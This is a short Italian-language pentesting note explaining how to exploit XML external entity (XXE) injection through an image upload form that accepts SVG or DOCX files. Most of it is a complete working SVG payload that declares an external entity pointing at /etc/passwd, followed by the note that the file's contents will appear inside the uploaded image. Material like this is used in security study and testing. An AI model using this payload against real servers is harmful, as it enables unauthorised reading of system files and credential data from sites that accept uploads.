tags: XXE_File_Upload XML-XXE_Injection


Quando ci si presenta una sezione per caricare immagini che richiede formati come svg o DOCS possiamo provare ad iniettare codice XML attraverso un’immagine corrotta perchè quei due formati appartengono alla famiglia XML e quindi sono in grado di leggere e processare il formato XML.

Per farlo possiamo usare un payload di questo tipo e salvarlo in un file .svg per esempio:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

Una volta caricato il file ci apparirà l’output di /etc/passwd al posto dell’immagine che avremmo dovuto caricare (nell’immagine stessa).